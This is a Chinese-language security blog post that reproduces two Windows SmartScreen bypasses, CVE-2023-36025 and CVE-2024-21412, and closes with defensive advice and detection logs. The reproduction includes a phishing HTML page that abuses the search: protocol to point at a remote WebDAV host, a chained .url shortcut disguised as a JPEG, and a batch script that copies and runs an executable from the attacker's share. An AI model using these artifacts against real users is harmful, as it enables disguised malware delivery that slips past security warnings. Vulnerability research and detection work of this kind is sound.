Windows SmartScreen安全功能绕过漏洞(含CVE-2024-21412复现)

Windows SmartScreen安全功能绕过漏洞(含CVE-2024-21412复现)

原创 网络保安29 红蓝攻防研究实验室 2024-02-28 19:40

前言

2024

2
月微软发布了一个
Internet
快捷方式文件安全功能绕过漏洞(
CVE-2024-21412
),互联网上未经身份验证的攻击者可以向目标用户发送旨在绕过显示的安全检查的特制文件,诱导用户点击实现恶意代码执行。在说这个漏洞之前,先看一个之前的
Windows SmartScreen
安全功能绕过漏洞。

CVE-2023-36025

CVE-2023-36025是微软于11月补丁日发布的安全更新中修复Windows SmartScreen安全功能绕过漏洞。攻击者可以通过诱导用户点击特制的URL文件,对目标系统进行攻击。成功利用该漏洞的攻击者能够绕过Windows Defender SmartScreen检查及其相关提示。该漏洞的攻击复杂性较低,可创建并诱导用户点击恶意设计的 Internet 快捷方式文件 (.URL) 或指向此类文件的超链接来利用该漏洞,无需特殊权限即可通过互联网进行利用。

简单看下漏洞的利用方式。首先搭建一个
WebDAV
文件共享服务器,写一个弹
calc
的测试脚本充当拉取执行木马的恶意脚本,压缩到一个
zip
文件
,将
zip
文件放到
WebDAV
共享目录里。

Windows SmartScreen安全功能绕过漏洞(含CVE-2024-21412复现) -1

构造恶意的url
文件,其中
URL
填入
远程
zip
文件下的cmd
文件。

Windows SmartScreen安全功能绕过漏洞(含CVE-2024-21412复现) -2

双击
url
文件,
test.exe
被下载执行。
正常情况下用户双击来自网络的可执行文件的时候,会触发Windows Defender SmartScreen
的检查。然而,当点击恶意
url
文件

,windows
会先解压
远程
zip
文件并放入临时目录,然后
执行
cmd文件,没有触发相关的安全警告

虽然临时解压了文件到本地,但
cmd
文件本质上还是来自于网络上
的可执行文件,应该触发Windows Defender SmartScreen
的检查,但却没
有触发,这就
是漏洞所在。

Windows SmartScreen安全功能绕过漏洞(含CVE-2024-21412复现) -3

CVE-2024-21412

根据外网上一篇对
Water Hydra
攻击
活动

完整
分析文章
(https://www.trendmicro.com/en_us/research/24/b/cve202421412-water-hydra-targets-traders-with-windows-defender-s.html?utm_source=trendmicroresearch&utm_medium=smk&utm_campaign=0224_waterhydraCVE202321412)

可以找到
CVE-2024-21412
漏洞利用的一些详细信息,本文的复现也主要基于该文章。该组织的攻击
活动利用CVE-2024-21412
绕过
Microsoft Defender SmartScreen
安全提醒
,用DarkMe
恶意软件感染用户。

在攻击链中,Water Hydra
在外汇交易论坛和股票交易
Telegram
频道上部署了鱼叉式网络钓鱼活动,利用各种社会工程技术(例如发布请求或提供交易的消息),引诱交易者感染
DarkMe
恶意软件。
攻击者会诱导用户进入一个受感染的俄罗斯加密货币信息网站,该网页上有一个指向股票图表(实际上是远控木马)
的UR
L
,而受害者往往会被引诱点击该链接。一旦点击了该连接并在本地资源管理器打开,很容易被诱导点击伪装成图片的远程恶意
URL
文件,从而感染木马。

初始的钓鱼网站类似于如下所示,这其实是一个精心构造的
html
网页,其中包含了一个指向指向恶意
WebDAV
共享的链接,其中包含了经过
精心设计的视图。当用户单击此链接时,浏览器将要求他们在Windows
资源管理器中打开该链接。
由于这并非
安全提示,因此用户可能不会认为该链接是恶意的。

Windows SmartScreen安全功能绕过漏洞(含CVE-2024-21412复现) -4

当用户选择了打开后,在这里攻击者滥用了Microsoft Windows 搜索的应用程序协议来引诱受害者点击恶意Internet快捷方式(.url)文件。search:协议调用Windows桌面搜索应用程序。在这里利用search:协议和精心设计的高级查询语法 (AQS) 查询来自定义Windows资源管理器视图的外观,以欺骗受害者。

<! DOCTYPE html>
<htm1>
<head>Photo Download</head>
<body>
<p>
    <a href="search:query=photo_2024-02-28.jpg&crumb=location:\\101.33.117.154@8077\webdav\images&displayname=Downloads">photo_2024-02-28.jpg</a>
</p>
</body>
</html>

Windows SmartScreen安全功能绕过漏洞(含CVE-2024-21412复现) -5

上图
显示了包含恶意搜索的HTML 
URL
链接。
search:
应用程序协议来执行对photo_2024-02-28.jpg 
的搜索

crumb 
参数将搜索范围限制为恶意 WebDAV 
共享
,而
DisplayName 
元素欺骗用户使其认为这是本地下载文件夹。

打开资源管理器后效果如下所示,里面看起来是图片的文件,其实是经过伪装的远程恶意
url
文件:

Windows SmartScreen安全功能绕过漏洞(含CVE-2024-21412复现) -6

这会导致用户相信来自恶意
WebDAV
服务器的文件已被下载,从而诱骗他们点击
伪造的JPEG
图像
的恶意文件。由于
Microsoft Windows
无论是否设置显示扩展名,都会
自动隐藏.url
扩展名,
而且
.url
文件的图标可以进行设置,这使得文件看起来更像
是JPEG
图像
文件(实际上是
photo_2024-02-28.jpg
.url
),很容易诱导点击。而
CVE-2024-21412
的利用方式就隐藏在这个
url
文件中。

CVE-2024-21412
主要利用的也是互联网快捷方式文件,可以理解为
CVE-2023-36025
修复的绕过
。这些.url
文件属于
INI
配置文件,采用指向
URL

“URL=”
参数。

.url
文件中,可以
使用imagress.dll

Windows
图像资源)图标库,使用
IconFile =

和IconIndex=

参数将默认的互联网快捷方式文件更改为图像图标,以进一步欺骗用户。

photo_2024-02-28.jpg
.url
内容和伪装效果如下:

Windows SmartScreen安全功能绕过漏洞(含CVE-2024-21412复现) -7

文件中的
的URL
参数指向托管在WebDAV
服务器上的另一个Internet
快捷方式文件。

test.url
文件中是
先前修补的Microsoft Defender SmartScreen
绕过
漏洞
(CVE-2023-36025
)的
利用逻辑:

[InternetShortcut]
URL=file://10.xx.xx.xx@8077/webdav/cxm.zip/cxm.cmd
IDList=
HotKey=0
[{000214AO-0000-0000-c000-000000000046}]
Prop3=19,9

cmd
文件内容如下,从远程
WebDAV
服务器
copy
木马文件并执行:

@echo off
if not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit
copy /b \\10.xx.xx.xx@8077\webdav\test.exe %TEMP%\test.exe
cd %TEMP%
cmd /c test.exe
exit

这段批处理脚本还有一个
技巧,
第二行
的作用是检测是否设置了 IS_MINIMIZED
环境变量。如果没有,就会最小化启动同一个批处理文件的新实例,并在新窗口中执行其余的脚本,然后关闭原始的命令提示符窗口。这样,用户看到的批处理文件执行效果是它以最小化的状态在执行。

通过双击第一个
伪装成JPEG
的互联网快捷方式
文件
,就可以利用CVE-2024-21412
绕过
Microsoft Defender SmartScreen
,并
开始控制受害者机器

在一个互联网快捷方式中引用另一个互联网快捷方式是非常奇怪的。安全研究员在测试中发现初始快捷方式中引用第二个快捷方式可以
绕过CVE-2023-36025
的补丁,从而逃避
SmartScreen
保护。
这是因为
SmartScreen
无法正确应用
Mark-of-the-Web (MotW)
,这是一个关键的
Windows
组件,
用于在打开时提醒用户或运行来自不受信任来源的文件。如下是
应用 MotW
后应显示的
Microsoft Defender SmartScreen
窗口

Windows SmartScreen安全功能绕过漏洞(含CVE-2024-21412复现) -8

总结来说就是通过精心设计的
Windows
资源管理器视图,能够诱使受害者点击
CVE-2024-21412
漏洞
利用的远程
.url
文件,该漏洞导致在不提醒用户的情况下
执行来自不受信任来源的代码,依赖于Windows
无法正确应用
MotW
并导致缺
SmartScreen
保护。绕过
SmartScreen
后,第二个
.url
快捷方式会运行嵌入在攻击者WebDAV
共享的ZIP
文件中的批处理文件
,批处理脚本从恶意
WebDAV
共享复制并执行木马程序。整个攻击
在用户不知情和SmartScreen
保护的情况下运行。

攻击链完成后,用户机器还会
下载真实的JPEG
文件,该文件与利用
CVE-2024-21412
漏洞
的JPEG
文件同名。该文件会
打开来欺骗受害者,让用户认为自己已经打开了从伪造的下载文件夹中看到
的JPEG
文件
,并对木马感染毫不知情

而在打了最新补丁的机器上测试,是这个效果,会进行安全提醒:

Windows SmartScreen安全功能绕过漏洞(含CVE-2024-21412复现) -9

Windows SmartScreen安全功能绕过漏洞(含CVE-2024-21412复现) -10

笔者认为这个漏洞虽然看起来比较鸡肋,看似就是绕过了一个安全提醒,但其实伪装性非常强,可以伪造一个下载目录资源管理器,并且无论文件查看如何设置,
.url
文件都会自动隐藏后缀,还可以通过
ini
配置来设置图标,非常容易诱导人去点击(其实安全意识差的人也不差
SmartScreen
这一层安全提醒
= =
),结合起来钓鱼还是比较容易。

防御措施

·及时更新微软
2
月最新补丁;

·从浏览器转到资源管理器时,仔细辨别要点击文件的文件类型;

·对
rundll32
异常的命令行进行检测。在进行测试时,产生了如下进程日志:

svchost.exe --> rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie 10.xx.xx.xx@8077 http://10.xx.xx.xx:8077/WebDAV/cxm.cmd

explorer.exe --> C:\Windows\system32\cmd.exe /K "\\10.xx.xx.xx@8077\WebDAV\cxm.cmd"

各位佬自行参考写规则吧。

注:本文内容仅用于研究学习,不可用于网络攻击等非法行为,否则造成的后果均与本文作者和本公众号无关,维护网络安全人人有责~